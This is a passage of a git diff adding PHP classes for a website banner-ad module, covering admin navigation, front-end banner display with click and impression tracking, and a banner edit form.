+               } else {
+                       return PEAR::raiseError("Unable to find class for driver $driver");
+               }
+       }
+
+       //      }}}
+
+       //      {{{     makeLiLinks()
+
+       /**
+        * Assists the createNav function for creating the subnav in admin
+        *
+        * @param string $link the url to the page
+        * @param string $name name of the link
+        *
+        * @return void
+        * 
+        * @author              Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @access              Protected
+        * @see                 Toolkit_Banners::createNav()
+        */
+       protected function makeLiLinks($link, $name)
+       {
+               $url    = parse_url($link);
+               $action = end(explode('=', $url['query']));
+               if ($_GET['action'] == $action) {
+                       $attr = ' id="current"';
+               }
+               $this->nav .= '<li'.$attr.'><a href="'.$link.'">'.$name.'</a></li>';
+       }
+
+       //      }}}
+
+       //      {{{     setupDefines()
+
+       /**
+        * Setup all the defines needed to make this application run correctly
+        *
+        * This function can be called statically. It will sets up the defines
+        * when call that will tell the create/edit forms where to put the
+        * banner images.  And tells the front end display where to look for the
+        * images when displaying banners.
+        *
+        * @param string $position What kind of banner are we talking
+        *                                                 about? ('bottom' or 'side')
+        * 
+        * @return void
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @access Public
+        */
+       static public function setupDefines($position = null)
+       {
+               $type = is_null($position) ? $_GET['type'] : $position;
+
+               //      BANNER IMAGE PATHS
+
+               /**
+                * Path to original banner images
+                */
+               define('BANNER_ORIGINAL_PATH', BASE."images/banner_{$type}_original/");
+
+
+               /**
+                * Path to resized banner images
+                */
+               define('BANNER_RESIZED_PATH', BASE."images/banner_{$type}_resized/");
+
+
+               /**
+                * Path to midsized banner images
+                */
+               define('BANNER_MIDSIZED_PATH', BASE."images/banner_{$type}_midsized/");
+
+
+               /**
+                * Path to thumbnail banner images
+                */
+               define('BANNER_THUMB_PATH', BASE."images/banner_{$type}_thumb/");
+
+               //      Adjust the umask to ensure we set the directory permissions properly
+               //      And get the old umask value so we can reset it later.
+               $oldUmask = umask(0);
+               if (!is_dir(BANNER_ORIGINAL_PATH)) {
+                       mkdir(BANNER_ORIGINAL_PATH, 0770, true);
+               }
+               if (!is_dir(BANNER_RESIZED_PATH)) {
+                       mkdir(BANNER_RESIZED_PATH, 0770, true);
+               }
+               if (!is_dir(BANNER_MIDSIZED_PATH)) {
+                       mkdir(BANNER_MIDSIZED_PATH, 0770, true);
+               }
+               if (!is_dir(BANNER_THUMB_PATH)) {
+                       mkdir(BANNER_THUMB_PATH, 0770, true);
+               }
+               //      Reset the umask.
+               umask($oldUmask);
+
+               //      BANNER IMAGE SIZES
+               // used in convert call to resize images
+               if ($type == 'side') {
+
+                       /**
+                        * Resized size of side banner images
+                        */
+                       define('BANNER_ITEM_RESIZED', "'160'");
+
+                       /**
+                        * Midsized size of side banner images
+                        */
+                       define('BANNER_ITEM_MIDSIZED', "'80'");         
+
+                       /**
+                        * Thumbnail size of side banner images
+                        */
+                       define('BANNER_ITEM_THUMB', "'40'");
+               } elseif ($type == 'bottom') {
+
+                       /**
+                        * Resized size of bottom banner images
+                        */
+                       define('BANNER_ITEM_RESIZED', "'550>'");
+
+                       /**
+                        * Midsized size of bottom banner images
+                        */
+                       define('BANNER_ITEM_MIDSIZED', "'210'");                
+
+                       /**
+                        * Thumbnail size of bottom banner images
+                        */
+                       define('BANNER_ITEM_THUMB', "'120'");
+               }
+
+               //      BANNER IMAGE URLS
+               $BASE_URL = ($_SERVER['HTTPS'] != 'on') ? BASE_URL : BASE_SECURE_URL;
+
+               /**
+                * URL to the original banner image folder
+                */
+               define('BANNER_ORIGINAL', "{$BASE_URL}images/banner_{$type}_original/");
+
+
+               /**
+                * URL to the resized banner image folder
+                */
+               define('BANNER_RESIZED', "{$BASE_URL}images/banner_{$type}_resized/");
+
+
+               /**
+                * URL to the midsized banner image folder
+                */
+               define('BANNER_MIDSIZED', "{$BASE_URL}images/banner_{$type}_midsized/");
+
+
+               /**
+                * URL to the thumbnail banner image folder
+                */
+               define('BANNER_THUMB', "{$BASE_URL}images/banner_{$type}_thumb/");
+       }
+
+       //      }}}
+       //      {{{     show()
+
+       /**
+        * Manage what should be displayed
+        *
+        * @return void
+        * 
+        * @author              Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @access              Public
+        */
+       public function show()
+       {
+               switch ($_GET['action']) {
+               case 'editSideBanner' :
+               case 'editBottomBanner' :
+               case 'editBanner' :
+                       echo '<link type="text/css" rel="stylesheet"
+                                       href="'.BASE_URL.'libjs/Jscal/system.css">';
+                       echo '<script type="text/javascript"
+                                       src="'.GLM_APP_BASE_URL.'libjs/jquery.js"></script>';
+                       echo '<script type="text/javascript"
+                                       src="'.BASE_URL.'libjs/Jscal/utils.js"></script>';
+                       echo '<script type="text/javascript"
+                                       src="'.BASE_URL.'libjs/Jscal/calendar.js"></script>';
+                       echo '<script type="text/javascript"
+                                       src="'.BASE_URL.'libjs/Jscal/calendar-en.js"></script>';
+                       echo '<script type="text/javascript"
+                                       src="'.BASE_URL.'libjs/Jscal/calendar-setup.js"></script>';
+                       echo '<script type="text/javascript"
+                                       src="'.BASE_URL.'libjs/Jscal/calendarDateControl.js"></script>';
+                       echo '<script type="text/javascript"
+                               src="'.BASE_URL.'Toolkit/Banners/libjs/edit-banner.js"></script>';
+
+                       global $banner;
+                       $banner = new Toolkit_Banners_EditBanner('GLM_Banner');
+                       $banner->show();
+                       break;
+
+               case 'listBanners' :
+               default :
+                       echo '<script type="text/javascript"
+                                       src="'.GLM_APP_BASE_URL.'libjs/jquery.js"></script>';
+                       echo '<script type="text/javascript"
+                               src="'.BASE_URL.'Toolkit/Banners/libjs/list-banner.js"></script>';
+
+                       $list =& new Toolkit_Banners_ListBanners($this->dbh, 10);
+                       //$list->process();
+                       //echo $list->render();
+                       $list->show();
+                       break;
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Banners/Display.php b/Toolkit/Banners/Display.php
new file mode 100644 (file)
index 0000000..7cf2e63
--- /dev/null
@@ -0,0 +1,498 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category Banners
+ * @package  Toolkit_Banners
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: Display.php,v 1.2 2009/12/15 20:18:15 jamie Exp $
+ * @link        <>
+ */
+
+/**
+ * Banner Ad Application
+ * 
+ * Controls the front end displaying of banners to the webpage.
+ * 
+ * @category  Banners
+ * @package   Toolkit_Banners
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      <>
+ */
+class Toolkit_Banners_Display
+{
+       //      {{{     properties
+
+    /**
+     * The Type of banner we are working with
+        * [side, bottom]
+     * @var    string   
+     * @access protected
+     */
+       protected $bannerType = null;
+
+    /**
+     * Array containing available banners for a page / catid
+     * @var    array    
+     * @access protected
+     */
+       protected $availableBanners = array();
+
+    /**
+     * Database Banner Id
+     * @var    unknown  
+     * @access protected
+     */
+       protected $bid;
+
+    /**
+     * Table that holds the banner data
+     * @var    string   
+     * @access protected
+     */
+       protected $tableName = 'banners';
+       
+       /**
+        * Array of scripts needed for the banners
+        * @var    array
+        * @access public
+        */
+       public $scripts = array();
+
+       /**
+        * The banner(s) we are going to display on the page
+        * @var    string
+        * @access public
+        */
+       public $bannerDisplay;
+
+       //      }}}
+
+       //      {{{     __construct()
+
+       /**
+        * Class constructor
+        *
+        * @param string $type Type of banner we are working with
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @access Public
+        */
+       public function __construct($type = null)
+       {
+               if (!is_null($type) && is_string($type)) {
+                       $this->bannerType = strtolower($type);
+                       Toolkit_Banners::setupDefines($this->bannerType);
+               }
+
+               $this->dbh = Toolkit_Database::getInstance();
+               if (!empty($_GET['banner'])) {
+                       $this->bid = $_GET['banner'];
+                       $this->adjustClicks();
+                       $url = $this->getLocation();
+                       header("Location: $url");
+               }
+       }
+
+       //      }}}
+       //      {{{     addScriptsToPage()
+
+    /**
+     * Adds scripts needed for the banners to the page
+     * 
+     * Puts any scripts that the banners need to run into the page object
+        * scripts array.  That way it won't add the same script more than once
+        * and puts all scripts together in the head.
+     * 
+     * @param array &$existing Flexy template page object script array
+        *
+     * @return void  
+     * @access public
+     */
+       public function addScriptsToPage(&$existing)
+       {
+               foreach ($this->scripts as $i) {
+                       if (!in_array($i, $existing)) {
+                               $existing[] = $i;
+                       }
+               }
+       }
+
+       //      }}}
+
+       //      {{{     adjustClicks()
+
+    /**
+     * Updates a banners click count when it is clicked on
+     * 
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return void     
+     * @access protected
+     */
+       protected function adjustClicks()
+       {
+               try {
+                       $sql = "
+                UPDATE {$this->tableName}
+                   SET clicks  = clicks + 1
+                 WHERE id      = :id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $this->bid, PDO::PARAM_INT);
+                       $stmt->execute();
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     adjustImpressions()
+
+    /**
+     * Updates a banners impression count when it is displayed on a page
+     * 
+     * @param int $bid Banner id to update impression for
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return void     
+     * @access protected
+     */
+       protected function adjustImpressions($bid)
+       {
+               try {
+                       //      If the banner is set in the url, then we don't need to adjust
+                       //      the impressions since its already been accounted for.
+                       if (empty($_GET['banner'])) {
+                               $sql = "
+                                       UPDATE {$this->tableName}
+                                          SET impressions = impressions + 1
+                                        WHERE id      = $bid";
+                               $this->dbh->query($sql);
+                       }
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{     setSingleOutput()
+
+    /**
+     * Gets a random banner from available banner pool
+        *
+        * Randomly selects a banner to be displayed and updates the impression
+        * counter for that banner
+     * 
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return mixed img link to a banner
+     * @access public
+     */
+       public function setSingleOutput()
+       {
+               if (empty($this->availableBanners)) {
+                       return false;
+               }
+
+               $this->scripts = array();
+
+               $size   = count($this->availableBanners);
+               $random = rand(1, $size - 1);
+               $banner = $this->availableBanners[$random];
+               $this->adjustImpressions($banner['id']);
+
+               Toolkit_Banners::setupDefines($this->bannerType);
+               
+               $properties = getimagesize(BANNER_RESIZED_PATH . $banner['image']);
+
+               $img = '<img alt="'.$banner['image'].'"
+                                       title="'.$banner['descripion'].'"
+                                       width="'.$properties[0].'" height="'.$properties[1].'"
+                                       src="'.BANNER_RESIZED.$banner['image'].'">';
+
+               if ($banner['external'] == 't') {
+                       $target = 'target="_blank"';
+               }
+
+               $this->bannerDisplay
+                       = '<a href="'.BASE_URL.'index.php?banner='.$banner['id'].'"
+                               '.$target.'>'.$img.'</a>';
+       }
+
+       //      }}}
+       //      {{{     getLocation()
+
+    /**
+     * Gets the url from the current banner
+     * 
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return string URL
+     * @access protected
+     */
+       protected function getLocation()
+       {
+               try {
+                       $sql = "
+                SELECT url
+                  FROM {$this->tableName}
+                 WHERE id = :id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $this->bid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       $row = $stmt->fetch(PDO::FETCH_ASSOC);
+                       return $row['url'];
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     setRotatingOutput()
+
+    /**
+     * Sets up banners that rotate with no transitioning effect
+     * 
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return mixed false if no banners are available for the current page
+     * @access public
+     */
+       public function setRotatingOutput()
+       {
+               if (empty($this->availableBanners)) {
+                       return false;
+               }
+
+               $this->scripts = array(
+                       GLM_APP_BASE_URL . 'libjs/jquery.json-1.2.min.js',
+                       GLM_APP_BASE_URL . 'libjs/jquery.timers-1.0.0.js',
+                       BASE_URL . 'Toolkit/Banners/libjs/rotating-banners.js'
+               );
+
+               $size   = count($this->availableBanners);
+               $random = rand(1, $size) - 1;
+               $banner = $this->availableBanners[$random];
+               foreach ($this->availableBanners as $b) {
+                       $this->adjustImpressions($b['id']);
+               }
+
+               Toolkit_Banners::setupDefines($this->bannerType);
+               
+               $properties = getimagesize(BANNER_RESIZED_PATH . $banner['image']);
+
+               $img = '<img title="'.$banner['description'].'"
+                                       width="'.$properties[0].'" height="'.$properties[1].'"
+                                       alt="'.$banner['image'].'" class="currentBanner"
+                                       src="'.BANNER_RESIZED.$banner['image'].'">';
+
+               if ($banner['external'] == 't') {
+                       $target = 'target="_blank"';
+               }
+
+               foreach ($this->availableBanners as $b) {
+                       $jsonSet[] = array(
+                               'image' => $b['image'],
+                               'description' => $b['description'],
+                               'id' => $b['id'],
+                       );
+               }
+               $bannerList = '<div id="bannerList" style="display: none;">'
+                                                       . json_encode($jsonSet) .
+                                         '</div>';
+
+               $this->bannerDisplay = $bannerList
+                               . '<a href="'.BASE_URL.'index.php?banner='.$banner['id'].'"
+                                       '.$target.'>'.$img.'</a>';
+       }
+
+       //      }}}
+       //      {{{     setFadingOutput()
+
+    /**
+     * Sets up banners that rotate with a fading effect
+     * 
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return mixed false if no banners are available for the current page
+     * @access public
+     */
+       public function setFadingOutput()
+       {
+               if (empty($this->availableBanners)) {
+                       return false;
+               }
+
+               $this->scripts = array(
+                       //GLM_APP_BASE_URL . 'libjs/jquery.js',
+                       GLM_APP_BASE_URL . 'libjs/jquery.innerfade.js',
+                       BASE_URL . 'Toolkit/Banners/libjs/fading-banners.js'
+               );
+
+               Toolkit_Banners::setupDefines($this->bannerType);
+
+               foreach ($this->availableBanners as $b) {
+                       $this->adjustImpressions($b['id']);
+               
+                       $properties = getimagesize(BANNER_RESIZED_PATH . $b['image']);
+
+                       $img = '<img style="margin:0 auto;" title="'.$b['description'].'"
+                                               width="'.$properties[0].'" height="'.$properties[1].'"
+                                               alt="'.$b['image'].'"
+                                               src="'.BANNER_RESIZED.$b['image'].'">';
+
+                       if ($b['external'] == 't') {
+                               $target = 'target="_blank"';
+                       }
+
+                       $banners[]
+                               = '<a href="'.BASE_URL.'index.php?banner='.$b['id'].'"
+                                       '.$target.'>'.$img.'</a>';
+               }
+
+               $this->bannerDisplay = implode("\n", $banners);
+       }
+
+       //      }}}
+
+       //      {{{     hasBannersAvailable()
+
+    /**
+     * Whether we have available banners in the pool for the current page
+     * 
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return boolean
+     * @access public 
+     */
+       public function hasBannersAvailable()
+       {
+               return !empty($this->availableBanners);
+       }
+
+       //      }}}
+
+       //      {{{     setAvailable()
+
+    /**
+     * Sets an array of available banners that can be used on the current page
+     * 
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return boolean false on error
+     * @access public   
+     * @throws PDOException PDOException on DB error
+     * @throws Exception Exception on invalid banner type
+     */
+       public function setAvailable()
+       {
+               if (!is_numeric($_GET['catid'])) {
+                       $this->availableBanners = array();
+                       return;
+               }
+               try {
+                       if (is_null($this->bannerType) || empty($this->bannerType)) {
+                               //      The banner type hasn't been set yet.
+                               //      you can either set it when instatiating the object
+                               //      through the constructor, Or through its own function
+                               //      setBannerType().
+                               throw new Exception ('Banner Type is not set!');
+                       }
+
+                       $bottom = ($this->bannerType == 'bottom');
+                       $catid  = empty($_GET['catid']) ? HOME_ID : $_GET['catid'];
+
+                       if (Toolkit_Banners::HAS_MEMBER_DB) {
+                               $sql = "
+                                       OR id IN (
+                                               SELECT bid
+                                                 FROM banners2membercategories
+                                                WHERE catid in (
+                                                               SELECT memb_type
+                                                                 FROM bus_cat_member
+                                                                WHERE catid in (
+                                                                               SELECT id
+                                                                                 FROM bus_category
+                                                                                WHERE active = true
+                                                                                  AND id     = :catid
+                                                                       )
+                                                       )
+                                       )";
+                       }
+                       $sql = "
+                SELECT *
+                  FROM banners
+                 WHERE active =  true
+                   AND sdate  <= CURRENT_DATE
+                   AND edate  >  CURRENT_DATE
+                   AND bottom =  :bottom
+                                  AND (id IN (
+                                               SELECT bid
+                                                 FROM banners2navpages
+                                                WHERE catid = :catid)
+                                                $sql)
+                                ORDER BY id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':bottom', $bottom, PDO::PARAM_BOOL);
+                       $stmt->bindParam(':catid', $catid, PDO::PARAM_INT);
+                       $stmt->execute();
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $banners[] = $row;
+                       }
+
+                       $this->availableBanners = $banners;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               } catch (Exception $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     setBannersToDisplay()
+
+       /**
+        * If the method to set the banner doesn't exists set the display to nothing
+        *
+        * @param String $type Type of banner we are going to be displayed
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @access public
+        * @return void
+        */
+       public function setBannersToDisplay($type = 'Single')
+       {
+               $type = ucfirst($type);
+               $func = "set{$type}Output";
+               if (method_exists($this, $func)) {
+                       $this->$func();
+               } else {
+                       $this->bannerDisplay = null;
+               }
+       }
+
+       //      }}}
+       //      {{{     setBannerType()
+
+       /**
+        * Sets the type of banners we are going to work with
+        *
+        * @param String $type Type of banner we are going to work with
+        *                                         'bottom' and 'side' are currently available
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @access public
+        * @return void
+        */
+       public function setBannerType($type)
+       {
+               $this->bannerType = strtolower($type);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Banners/EditBanner.php b/Toolkit/Banners/EditBanner.php
new file mode 100644 (file)
index 0000000..7537d60
--- /dev/null
@@ -0,0 +1,910 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category Banners
+ * @package  Toolkit_Banners
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: EditBanner.php,v 1.2 2009/12/15 20:18:15 jamie Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Banner Ad Application
+ *
+ * Manages the creation and editing form for manipulating banners in the db.
+ *
+ * @category  Banners
+ * @package   Toolkit_Banners
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://demo.gaslightmedia.com
+ */
+class Toolkit_Banners_EditBanner extends Toolkit_FormBuilder
+{
+       //      {{{     properties
+
+
+    /**
+     * Description for public
+     * @var    array 
+     * @access public
+     */
+       public $tableMetaData;
+
+    /**
+     * Description for public
+     * @var    string
+     * @access public
+     */
+       public $tableName = 'banners';
+
+    /**
+     * Description for public
+     * @var    unknown
+     * @access public 
+     */
+       public $type;
+
+    /**
+     * Description for public
+     * @var    object
+     * @access public
+     */
+       public $dbh;
+
+       /**
+        * What do you want the success msg to be if the form validates successfully
+        *
+        * @var string
+        * @access protected
+        */
+       protected $successMsg
+               = '<div id="form-success-top">
+                       The information below has been successfully submitted.
+               </div>';
+
+       /**
+        * The default rules to register for validating
+        *
+        * We have to register these rules, or any others we want, before
+        * we are able to use them in our forms.
+        *
+        * @var string
+        * @access protected
+        */
+       protected $registeredRules = array('date', 'banner');
+
+       //      }}}
+
+       //      {{{     __construct()
+
+       /**
+        * Constructor
+        *
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+        * 
+        * @access public
+     * @todo Remove assigning the dbh the global dbh and setup a PDO
+     *       to be passed in from a parameter - this will allow for easier
+     *       PHPUnit testing
+        */
+       public function __construct(
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+               $this->template = BASE . 'Toolkit/Banners/templates/currentTables/';
+
+               $this->dbh  = Toolkit_Database::getInstance();
+               $this->type = $_GET['type'];
+
+               $this->configureElements();
+               $this->configureRules();
+               $this->configureFilters();
+               $this->configureDefaults();
+       }
+
+       //      }}}
+
+       //      {{{     configureElements()
+
+       /**
+        * Configure how the form elements should look
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return void
+        * @access protected
+        */
+       protected function configureElements()
+       {
+        $e = array();
+
+               $pages = $this->getSitePages();
+               if (Toolkit_Banners::HAS_MEMBER_DB) {
+                       $categories = $this->getMemberCategories();
+               }
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+            'type' => 'hidden',
+            'req' => false,
+            'name' => 'bottom'
+        );
+               $e[] = array(
+            'type' => 'static',
+            'req' => false,
+            'name' => 'instructions_rmv',
+            'opts' => 'Hold down the Ctrl key to select of unselect more than one at a time. Hold down the Shift key to select a range.'
+        );
+               $e[] = array(
+            'type' => 'select2',
+            'req' => false,
+            'name' => 'pages',
+            'display' => 'Pages',
+            'opts' => $pages,
+            'att' => array(
+                'multiple' => 'multiple',
+                'id' => 'categories',
+                'size' => 10)
+        );
+               if (Toolkit_Banners::HAS_MEMBER_DB) {
+                       $e[] = array(
+                'type' => 'select2',
+                'req' => false,
+                'name' => 'member_categories',
+                'display' => 'Member Categories',
+                'opts' => $categories,
+                'att' => array(
+                    'multiple' => 'multiple',
+                    'id' => 'member_categories',
+                    'size' => 10)
+            );
+               }
+               $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'url',
+            'display' => 'URL'
+        );
+               $e[] = array(
+            'type' => 'advcheckbox',
+            'req' => false,
+            'name' => 'external',
+            'display' => 'External Link',
+            'val' => array(0, 1)
+        );
+               $e[] = array(
+            'type' => 'textarea',
+            'req' => false,
+            'name' => 'description',
+            'display' => 'Description',
+            'opts' => array(
+                'id' => 'description',
+                'rows' => 5,
+                'cols' => 50)
+        );
+               $e[] = array(
+            'type' => 'date',
+            'req' => true,
+            'name' => 'sdate',
+            'display' => 'Start Date',
+            'opts' => array('format' => 'm / d / Y',
+            'minyear' => date('Y'),
+            'maxYear' => date('Y') + 10,
+            'addEmptyOption' => true,
+            'emptyOptionText' => array(
+                'm' => 'mm',
+                'd' => 'dd',
+                'Y' => 'yyyy')),
+            'att' => array('id' => 'sdate')
+        );
+               $e[] = array(
+            'type' => 'date',
+            'req' => true,
+            'name' => 'edate',
+            'display' => 'End Date',
+            'opts' => array('format' => 'm / d / Y',
+            'minyear' => date('Y'),
+            'maxYear' => date('Y') + 10,
+            'addEmptyOption' => true,
+            'emptyOptionText' => array(
+                'm' => 'mm',
+                'd' => 'dd',
+                'Y' => 'yyyy')),
+            'att' => array('id' => 'edate')
+        );
+               $e[] = array(
+            'type' => 'advcheckbox',
+            'req' => false,
+            'name' => 'active',
+            'display' => 'Active',
+            'val' => array('off', 'on')
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'clicks',
+            'display' => 'Clicks'
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'impressions',
+            'display' => 'Impressions'
+        );
+               //      If we're editing a banner, show the current
+               //      banner image in the form
+               if (isset($_GET['id']) || isset($_POST['uploaded_file_rmv'])) {
+                       $e[] = array(
+                'type' => 'static',
+                'req' => false,
+                'name' => 'image_rmv',
+                'display' => 'Current Banner'
+            );
+                       $e[] = array(
+                'type' => 'hidden',
+                'req' => false,
+                'name' => 'uploaded_file_rmv'
+            );
+               }
+               $e[] = array(
+            'type' => 'file',
+            'req' => false,
+            'name' => 'file_rmv',
+            'display' => 'Banner Image'
+        );
+               $e[] = array(
+            'type' => 'submit',
+            'req' => false,
+            'name' => 'submit_rmv',
+            'display' => 'Submit Banner',
+            'opts' => array('id' => 'submit')
+        );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{     configureRules()
+
+       /**
+        * Configure how the form elements should act
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return void
+        * @access protected
+        */
+       protected function configureRules()
+       {
+        $r = array();
+
+               $mimeTypes = array(
+                       'image/jpe',
+                       'image/jpeg',
+                       'image/jpg',
+                       'image/jfif',
+                       'image/pjpeg',
+                       'image/pjp',
+                       'image/gif',
+                       'image/png',
+               );
+
+               $r[] = array(
+            'element' => 'start',
+            'message' => 'Error: Invalid Date!',
+            'type' => 'date',
+            'format' => '%m-%d-%Y',
+            'validation' => $validationType,
+            'reset' => true,
+            'force' => false
+        );
+               $r[] = array(
+            'element' => 'end',
+            'message' => 'Error: Invalid Date!',
+            'type' => 'date',
+            'format' => '%m-%d-%Y',
+            'validation' => $validationType,
+            'reset' => true,
+            'force' => false
+        );
+               $r[] = array(
+            'element' => 'clicks',
+            'message' => 'Error: Must be an integer!',
+            'type' => 'numeric',
+            'format' => null,
+            'validation' => $validationType,
+            'reset' => false,
+            'force' => false
+        );
+               $r[] = array(
+            'element' => 'impressions',
+            'message' => 'Error: Must be an integer!',
+            'type' => 'numeric',
+            'format' => null,
+            'validation' => $validationType,
+            'reset' => false,
+            'force' => false
+        );
+               //      If we're not editing a banner, (creating a new banner)
+               //      then the banner image IS required
+               //      Use this check to determine if we want to use the
+        //  uploadedfile rule. This will make the field required if
+        //  a banner has not already been uploaded.
+               if ($_POST && !empty($_FILES['file_rmv']['name'])) {
+                       //      Don't do anything!
+               } elseif (!isset($_GET['id']) && !isset($_POST['uploaded_file_rmv'])) {
+                       $r[] = array(
+                'element' => 'file_rmv',
+                'message' => 'Error: Must contain a banner image!',
+                'type' => 'uploadedfile',
+                'format' => null,
+                'validation' => $validationType,
+                'reset' => false,
+                'force' => false
+            );
+               }
+               //      If we're editing a banner and have uploaded a new banner image
+               //      make sure the MIME is of the correct type
+               if (!isset($_GET['id']) && !empty($_FILES['file_rmv']['tmp_name'])) {
+                       $r[] = array(
+                'element' => 'file_rmv',
+                'message' => 'Error: Incorrect File Type (.gif, .png, .jpg) only!',
+                'type' => 'mimetype',
+                'format' => $mimeTypes,
+                'validation' => $validationType,
+                'reset' => false,
+                'force' => false
+            );
+               }
+               $r[] = array(
+            'element' => 'file_rmv',
+            'message' => 'Error: Invalid Banner Image!',
+            'type' => 'banner',
+            'format' => 'banner',
+            'validation' => $validationType,
+            'reset' => false,
+            'force' => false
+        );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+       //      {{{     configureFilters()
+
+       /**
+        * Configure how the form elements should act when being submitted
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return void
+        * @access protected
+        */
+       protected function configureFilters()
+       {
+        $f   = array();
+               $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'stripslashes'
+        );
+
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+       //      {{{     configureDefaults()
+
+       /**
+        * Configure the initial default values for the form
+        *
+        * @author Jamie Kahgee <jamie.kahgee@gmail.com>
+     * @return void
+        * @access protected
+        */
+       protected function configureDefaults()
+       {
+               $nextWeek = mktime(0, 0, 0, date('m'), date('d') + 7, date('Y'));
+               if (isset($_GET['id'])) {
+                       try {
+                               $sql = "
+                                       SELECT *,
+                                                       date_part('month', sdate) AS smonth,
+                                                       date_part('day', sdate) AS sday,
+                                                       date_part('year', sdate) AS syear,
+                                                       date_part('month', edate) AS emonth,
+                                                       date_part('day', edate) AS eday,
+                                                       date_part('year', edate) AS eyear,
+                                                       CASE bottom
+                                                               WHEN true then '1'
+                                                               ELSE '0'
+                                                       END as bottom
+                      FROM banners
+                     WHERE id = :id";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->execute();
+                               $banner   = $stmt->fetch(PDO::FETCH_ASSOC);
+                               $img      = '<img src="'.BANNER_THUMB . $banner['image'].'">';
+                               $defaults = array(
+                                       'url' => $banner['url'],
+                                       'external' => $banner['external'],
+                                       'bottom' => $banner['bottom'],
+                                       'description' => $banner['description'],
+                                       'sdate' => array(
+                        'm' => $banner['smonth'],
+                        'd' => $banner['sday'],
+                        'Y' => $banner['syear']
+                    ),
+                                       'edate' => array(
+                        'm' => $banner['emonth'],
+                        'd' => $banner['eday'],
+                        'Y' => $banner['eyear']
+                    ),
+                                       'active' => $banner['active'],
+                                       'clicks' => $banner['clicks'],
+                                       'impressions' => $banner['impressions'],
+                                       'uploaded_file_rmv' => $banner['image'],
+                                       'image_rmv' => $img,
+                               );
+
+                               //      Make sure all the pages that were selected are
+                               //      pre selected.
+                               $sql = "
+                    SELECT *
+                      FROM banners2navpages
+                     WHERE bid = :bid";
+
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':bid', $_GET['id'], PDO::PARAM_INT);
+                               $stmt->execute();
+                               while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                                       $pages[] = $row['catid'];
+                               }
+                               $defaults['pages'] = $pages;
+
+                               //      Make sure all the member categories that were selected are
